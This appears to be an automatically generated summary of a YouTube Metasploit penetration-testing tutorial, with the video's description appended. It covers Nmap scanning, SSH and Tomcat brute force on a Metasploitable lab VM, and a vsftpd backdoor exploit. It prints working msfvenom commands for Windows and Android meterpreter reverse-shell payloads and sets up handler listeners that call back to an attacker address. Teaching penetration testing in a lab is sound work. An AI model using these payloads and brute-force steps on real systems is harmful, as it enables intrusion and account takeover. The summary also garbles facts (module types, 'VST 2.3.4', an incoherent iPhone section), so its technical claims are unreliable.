Metasploit Tutorial

Metasploit Tutorial

Introduction

The video introduces the topic of using the Metasploit framework for ethical hacking and penetration testing.

What is Metasploit?

  • Metasploit is a widely used penetration testing tool available on various Linux platforms.
  • It simplifies the hacking process and is essential for both attackers and defenders.
  • Metasploit is free and comes pre-installed in Kali Linux.

Basic Metasploit Commands

This section covers the basic commands to start and use the Metasploit framework.

Starting Metasploit Framework

  • To start Metasploit, open a terminal in Kali Linux and enter sudo msfconsole -q.
  • The -q flag removes the banner and takes you directly to the console prompt.

Using Metasploit Commands

  • Enter help to view available commands, such as sessions, editing, logging, etc.
  • You can create workspaces to organize your projects and switch between them.
  • The search option allows you to find specific payloads or scripts related to your target platform.

Searching for Payloads

This section explains how to search for specific payloads within the Metasploit framework.

Using Search Option

  • The search option helps you find payloads or scripts based on specific criteria.
  • For example, entering search windows will display all Windows-related payloads.
  • Use this feature to narrow down your search and find relevant options for your target.

Conclusion

The video provides an introduction to using the Metasploit framework for ethical hacking. It explains what Metasploit is, its importance in penetration testing, and how to use basic commands like starting the framework and searching for payloads.

Introduction to Searching and Payloads

In this section, the speaker introduces the concept of searching for payloads based on different criteria such as operating system and rankings. They also explain how to use the search feature and provide an overview of payload rankings.

Searching for Payloads

  • Use the search feature to find payloads based on specific criteria like operating system or descriptions.
  • The search results will display a list of payloads with rankings indicating their effectiveness.

Using Payloads

  • Copy the payload you want to use or note down its number.
  • Open the msf console and paste the payload or enter its number to select it.
  • Use the "show options" command to view parameters that need to be set for executing the payload.
  • The "info" command provides more details about the selected module, including references and target machine information.

Exploring Modules in Metasploit Framework

This section focuses on exploring different modules available in Metasploit Framework.

Available Modules

  • Metasploit Framework contains various modules categorized into auxiliary, encoder, exploit, notes, payload, and post-exploitation modules.
  • Auxiliary modules are used for scanning vulnerabilities and delivering payloads.
  • Encoder modules encode payloads for hiding purposes.
  • Exploit modules contain a wide range of payloads for executing exploits.
  • Notes modules are harmless padding-like memory exploitations.
  • Payload modules include exploits for executing commands or downloading files.
  • Post-exploitation modules help with tasks like credential harvesting and creating backdoors.

For more detailed information about each module category, refer to specific timestamps from 0:09:58 to 0:12:14.

Conclusion

The transcript provides an introduction to searching for payloads and using them in Metasploit Framework. It also highlights the different modules available in the framework for various purposes.

Introduction to Metasploit and Payloads

In this section, the speaker introduces Metasploit and discusses the concept of payloads. They explain how payloads can be used to exploit vulnerabilities, escalate privileges, and maintain backdoor access.

Understanding Metasploit and Exploitation

  • Metasploit is a framework that provides various modules for hacking and exploiting vulnerabilities.
  • Once a payload is ready, it can be used to exploit a vulnerability.
  • After successful exploitation, privilege escalation can be performed.
  • Privilege escalation allows obtaining backdoor access to the system.

Using Metasploit Modules

The speaker explains that Metasploit provides a wide range of modules and payloads for different hacking phases. They encourage viewers to ask questions or leave comments if they have any doubts or queries.

Exploring Metasploit Modules

  • Metasploit offers a variety of modules and payloads for different hacking phases.
  • Viewers are encouraged to ask questions or leave comments if they have any doubts or queries.

SSH Brute Force with Metasploit

The speaker demonstrates how to perform an SSH brute force attack using Metasploit. They provide instructions on downloading a vulnerable virtual machine (VM) specifically designed for testing purposes.

Setting Up the Environment

  • Download the vulnerable VM from the provided link (mentioned in the video description).
  • Ensure that the VM is not exposed to untrusted networks or production environments due to its inherent risks.
  • Use "msfadmin" as the username and password when logging into the Metasploit VM.

Information Gathering with Nmap

The speaker explains the importance of information gathering in hacking and demonstrates how to use Nmap within the Metasploit framework for scanning ports, identifying services, and gathering version information.

Gathering Information with Nmap

  • Use Nmap to scan the target system for port numbers, running services, and versions.
  • Running Nmap within the Metasploit framework is convenient as it eliminates the need for multiple tools.
  • The speaker recommends watching their crash course video on Nmap for a comprehensive understanding of its usage.

Analyzing Nmap Results

The speaker analyzes the results obtained from the Nmap scan and identifies various services running on the target system.

Analyzing Nmap Scan Results

  • The scan reveals several services running on the target system, including Tomcat, SSH, and FTP.
  • In this case, the focus is on hacking into the SSH service.

Searching for SSH Exploits

The speaker demonstrates how to search for SSH-related exploits using Metasploit's auxiliary modules.

Searching for SSH Exploits

  • Use auxiliary modules in Metasploit to gather more information about SSH vulnerabilities.
  • Search specifically for SSH-related exploits using appropriate keywords.

Due to limitations in available timestamps, some sections may not have specific timestamps associated with them.

SSH Information Gathering

In this section, the speaker discusses using a scanner to gather more details about SSH (Secure Shell) versions. The speaker demonstrates how to use the scanner and explains the importance of collecting information about the target.

Using a Scanner for SSH Information Gathering

  • Use auxiliary scanner 20 to gather more information about SSH versions.
  • Set the target host IP address and port using the show options command.
  • Execute the command by running "run" or "exploit".
  • The scanning results reveal the SSH version server as SSH 2.2 and opensh 4.1 Debian on Ubuntu.

Brute Force Attack

This section focuses on performing a Brute Force attack on an SSH server. The speaker explains what a Brute Force attack is and demonstrates how to set up and execute it using Metasploit framework.

Setting Up Brute Force Attack

  • Use auxiliary scanner 15 for Brute Force attacks.
  • Set options such as password files, host IP, and Port using show options command.
  • Adjust Brute Force speed with "Brute Force speed" option.
  • Specify password files or word lists for user enumeration.
  • Perform a username/password guessing attack until successful access is gained.

Performing SSH Brute Force Attack

This section provides step-by-step instructions on setting up an SSH brute force attack using Metasploit framework. The speaker emphasizes that this demonstration aims to showcase the process rather than actually hacking into a system.

Executing SSH Brute Force Attack

  • Set up target host IP address using "set RHOST" command.
  • Configure success stop option with "set STOP_ON_SUCCESS" command.
  • Specify user path with "set USERPASS_FILE" command.
  • Utilize word lists provided by Kali Linux or create custom ones.
  • Execute the attack using the "run" command.

The transcript does not provide further details on the outcome of the brute force attack.

SSH Brute Force Attack with Metasploit

In this section, the speaker demonstrates how to perform an SSH brute force attack using Metasploit.

Setting Up Verbose Mode

  • Set the verbose mode to true to see the actions happening during the attack.
  • This helps in understanding the progress and different combinations being tried.

Performing SSH Brute Force Attack

  • Run the attack and observe the output.
  • Metasploit tries different combinations of usernames and passwords, such as root/root, root/Cisco, root/admin, etc.
  • If a successful combination is found, it will be displayed in green color and the attack will stop.
  • However, brute force attacks can take a long time due to numerous combinations being attempted.

Stopping the Attack

  • To stop the attack, use Ctrl+C command in the terminal.
  • This interrupts and terminates the ongoing brute force attack.

Attacking Tomcat with Metasploit

In this section, the speaker demonstrates how to perform an attack on Tomcat using Metasploit.

Gathering Information about Tomcat Service

  • Use nmap to scan for information about Tomcat service running on a specific IP address (172.16.0.6).
  • Identify which port number Tomcat service is running on.

Verifying Tomcat Service

Attempting Brute Force Attack on Tomcat Administrator Page

  • Use Metasploit to perform a brute force attack on the Tomcat administrator page.
  • Search for relevant modules and choose the appropriate payload.
  • Set the target URL, which is the page where Tomcat needs to be attacked.
  • Run the attack and observe the output.
  • If valid username and password combinations are found, they will be displayed.

Conclusion

  • The speaker successfully demonstrates how to perform SSH brute force attacks and attack Tomcat using Metasploit.

Creating Windows and Android Payloads

In this section, the speaker demonstrates how to create payloads for both Windows and Android devices using Metasploit.

Creating a Windows Payload

  • To create a Windows payload, use the msfvenom command in Kali Linux.
  • Use the following command: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.0.5 LPORT=1234 -f exe -o /home/user/Desktop/test1.exe.
  • This will generate a payload named "test1.exe" that can be used for attacking Windows systems.

Creating an Android Payload

  • To create an Android payload, use the msfvenom command with specific options.
  • Use the following command: msfvenom -p android/meterpreter/reverse_tcp LHOST=172.16.0.5 LPORT=1234 -o /home/user/Desktop/android_payload.apk.
  • This will generate an APK file named "android_payload.apk" that can be used for attacking Android devices.

Generating Reversal and Gaining Access

In this section, the speaker explains how to gain access to the target device after generating and executing the payloads.

Executing the Windows Payload

  • After generating the Windows payload, execute it on the target system.
  • Set up a listener using Metasploit by running use exploit/multi/handler followed by set PAYLOAD windows/x64/meterpreter/reverse_tcp.
  • Set the required options such as LHOST (your IP address) and LPORT (the listening port).
  • Once executed, you will have access to the target system through a Meterpreter session.

Executing the Android Payload

  • After generating the Android payload, execute it on the target device.
  • Set up a listener using Metasploit by running use exploit/multi/handler followed by set PAYLOAD android/meterpreter/reverse_tcp.
  • Set the required options such as LHOST (your IP address) and LPORT (the listening port).
  • Once executed, you will have access to the target Android device through a Meterpreter session.

The speaker mentions that if you want to perform attacks over the internet, you can refer to another video where they explain how to use NGROK for proxy connections.

Conclusion

The speaker concludes by summarizing the process of creating payloads for Windows and Android devices using Metasploit. They also mention the availability of other options and techniques within Metasploit for payload generation and execution.

Setting Payload and L Port

In this section, the speaker explains how to set the payload and L Port for creating a reversal.

Setting Payload and L Port

  • To set the payload, use the command set payload followed by the desired payload.
  • Copy the generated Android payload and paste it using set payload command.
  • Set the L Port and L Host values accordingly.
  • It is important to ensure that the IP address and port number are correctly set in both the payload and listener for successful connection establishment.

Running Reversal Listener

This section demonstrates how to run a reversal listener.

Running Reversal Listener

  • Execute the listener by running it.
  • Check if the specified port number is available for listening.
  • Use nestat -an | grep <port> command to verify if the port is already in use.
  • If necessary, kill any existing network connections or change the port number before running again.

Creating Reversal Using RC File

The speaker explains how to create a reversal using an RC file for automation purposes.

Creating Reversal Using RC File

  • Create an RC file with all required parameters such as payload, L Port, staging encoding, output file name, etc.
  • Save and exit from the RC file editor.
  • Start Metasploit console with sudo msfconsole -r <RC_file_name> command to execute all commands automatically from the RC file.

Automating Tasks with RC Files

This section highlights how automating tasks with RC files can save time for penetration testers.

Automating Tasks with RC Files

  • Penetration testers can automate their tasks by creating custom RC files containing all necessary commands.
  • These RC files can be executed to perform repetitive tasks without manually entering commands in the Metasploit console.
  • This automation helps save time and streamline daily routine tasks.

Creating Android Payload Using RC File

The speaker demonstrates how to create an Android payload using an RC file.

Creating Android Payload Using RC File

  • Set the payload as android/meterpreter/reverse_tcp for creating an Android payload.
  • Specify the L Port and L Host values accordingly.
  • Generate the payload by running the RC file.
  • Save and exit from the editor after creating the RC file.

Running Reversal Listener for Android

This section explains how to run a reversal listener specifically for Android payloads.

Running Reversal Listener for Android

  • Create an RC file with necessary parameters for running a reversal listener for Android payloads.
  • Start Metasploit console with sudo msfconsole -r <RC_file_name> command to execute all commands automatically from the RC file.
  • The listener will establish a connection once a matching IP address and port number are provided.

Creating Windows Reversal Listener

In this section, the speaker demonstrates how to create a reversal listener specifically for Windows payloads.

Creating Windows Reversal Listener

  • Create an RC file with required parameters such as payload, L Host, etc., specific to Windows payloads.
  • Start Metasploit console with sudo msfconsole -r <RC_file_name> command to execute all commands automatically from the RC file.
  • The listener will establish a connection once a matching IP address and port number are provided.

Exploiting iPhone with Metasploit

In this section, the speaker demonstrates how to automate the process of exploiting an iPhone using Metasploit framework.

Automating Exploitation

  • By using the command sudo msfconsole, one can automate the exploitation process.
  • The speaker shows how to create a listener for Windows and set it up for iPhone exploitation.
  • This automation saves time and eliminates the need for manual typing.

Hacking a Web Server with Metasploit

  • The speaker explains how to hack a web server using Metasploit framework.
  • The first step is to perform an aggressive scan of the target IP address (in this case, 172.16.0.6) using Nmap.
  • Aggressive scanning provides more detailed information about versions and potential exploits.
  • If FTP is not properly configured, anonymous login may be allowed, which can be exploited to gain access to the server.

Exploiting Vulnerabilities

  • The speaker demonstrates exploiting a specific version (VST 2.3.4) found during scanning.
  • Using Metasploit's search functionality, they find an exploit for that version.
  • After setting the required options such as target IP address and payload, they run the exploit.
  • A backdoor is opened, providing access to the compromised machine.

Benefits of Using Metasploit Framework

  • The speaker emphasizes that Metasploit framework simplifies vulnerability searching and exploitation in penetration testing.
  • It offers various payloads and executables that make gaining access easier.

Conclusion: Importance of Metasploit Framework

In this section, the speaker concludes by highlighting the importance of using Metasploit framework in penetration testing and cybersecurity.

Key Points

  • The speaker reiterates that Metasploit framework is a crucial tool for searching vulnerabilities, generating payloads, and automating processes.
  • They emphasize that it is essential for penetration testers and cybersecurity professionals.
  • The speaker demonstrates how to create a Metasploit item in the GUI using 0xor Cage.

The transcript ends abruptly without a clear conclusion or closing remarks.

Setting Up the Environment

In this section, the speaker explains how to set up the environment for running a script.

Opening Terminal and Setting Permissions

  • Open a terminal in the desired directory.
  • Use the command chmod +x <filename> to give full permissions to the file.
  • Verify that the file is now executable by using ls command.

Running the Script

  • Execute the script by using sudo ./<filename>.
  • The color of the output should change, indicating that it is now executable.

Connecting to Metasploit RC

This section covers connecting to Metasploit RC and setting up username and password.

Connecting via Command Line

  • Open a new terminal window.
  • Type msfconsole to enter Metasploit console.
  • Use the command load msgrpc to load MSG RPC module.
  • Retrieve the username and password from the console output.

Troubleshooting Connection Issues

This section provides troubleshooting steps for resolving connection issues with Metasploit RC.

Checking Database Status

  • If encountering network errors, check if MSF is running by typing db_status in Msfconsole.
  • If not connected, run sudo msfdb init to create a database configuration.

Starting PostgreSQL Service

  • Start PostgreSQL service by running sudo service postgresql start.

Verifying Connection Status

  • Open a new Msfconsole window after starting PostgreSQL service.
  • Check database status again using db_status.

Successful Connection and Payload Creation

This section demonstrates successful connection establishment and payload creation in Metasploit RC.

Establishing Connection

  • Connect to Metasploit RC by clicking on the "Connect" button.
  • Ensure that the "Local Host" option is unchecked for a non-local connection.

Creating Payload

  • Create a payload by selecting the desired options, such as host IP and port number.
  • Generate the payload and save it with the specified format and extension.

Generating Listener

This section explains how to generate a listener in Metasploit RC.

Configuring Listener

  • Configure the listener by providing the same host IP and port number used for creating the payload.
  • Optionally, enable context encoding or exit on session termination.

Generating Listener

  • Generate the listener to create a listener job in Metasploit RC.
  • The output will be displayed as home/Frederick/cage/cage.apk.

Switching Sessions and Conclusion

This section covers switching between multiple sessions in Metasploit RC and concludes the tutorial.

Switching Sessions

  • Easily switch between multiple sessions opened in Metasploit RC.

Conclusion

  • The speaker highlights the usefulness of Cage for interacting with Metasploit RC in a GUI-based environment.
  • Encourages viewers to subscribe, provide feedback, and follow on Telegram for channel updates.
Video description

#cybersecurity #metasploitframework #pentesting #ethicalhacking #hacking #offensivesecurity In this video, I have showed how to use Metasploit Framework, in a structured and intuitive manner. This course is for penetration testers, Red Teams, and Other Security Professionals. Timestamp: 00:00 Introduction 0:13 Introduction to using Metasploit framework for ethical hacking with practical examples. 5:18 Metasploit Framework for Information Gathering and Analysis 10:46 Metasploit Payloads and Exploits Overview 16:11 Introduction to Nmap tool for automated information gathering. 21:54 Overview of SSH login check scanner and Brute Force attack settings 27:31 Demonstration of SSH and Tomcat brute force attacks using Metasploit 34:24 Introduction to Payload Creation and Listener Setup in Metasploit Tutorial 40:37 Introduction to Hacking with NG Rock 46:02 Tutorial on automating payload creation and listener setup using Metasploit. 52:23 Demonstration of gaining access to a system using Metasploit. 57:52 Connecting to Metasploit using username and password ----------------------------------------------------------------------------------- # LINKS: Metasploit: https://www.metasploit.com/ Kali Linux: https://www.kali.org/ Kage GUI: https://github.com/Zerx0r/Kage Slide: shorturl.at/cfwSW Metasploitable 2 : https://www.vulnhub.com/entry/metasploitable-2,29/ Nmap Tutorial: https://www.youtube.com/playlist?list=PLo-dGst6KkGr_80AEH7CfidETb0oh-c8i Hack over the internet: https://www.youtube.com/watch?v=W5vpxWDVzNw ----------------------------------------------------------------------------------- I hope you enjoyed the video and found value in the content. We value your feedback, If you have any questions or suggestions feel free to post them in the comments section or contact us directly via our social platforms. NOTE: I am not sponsored by or affiliated to any of the products or services mentioned in this video, all opinions are my own based on personal experiences. DISCLAIMER: All information, techniques and tools showcased in these videos are for educational and ethical penetration testing purposes ONLY. NEVER attempt to use this information to gain unauthorized access to systems without the EXPLICIT consent of its owners. This is a punishable offense by law in most countries. # Technical support assistance Forum: Discord Server: https://discord.gg/VeWB63GbrD Telegram Group: https://t.me/+GvXkom29__dlYjQ1 # Follow for Channel Updates : LinkedIn: https://www.linkedin.com/company/pber... Telegram Channel: https://t.me/pberacademy Twitter: PberAcademy # About us: Pber Academy: https://pber.in # Show your support by ------------------------------------------ LIKE | COMMENT | SHARE | SUBSCRIBE ------------------------------------------ **THANK YOU ALL FOR WATCHING THIS VIDEO. HAPPY LEARNING AND SEE YOU SOON ALL WITH OTHER INTERESTING VIDEOS. **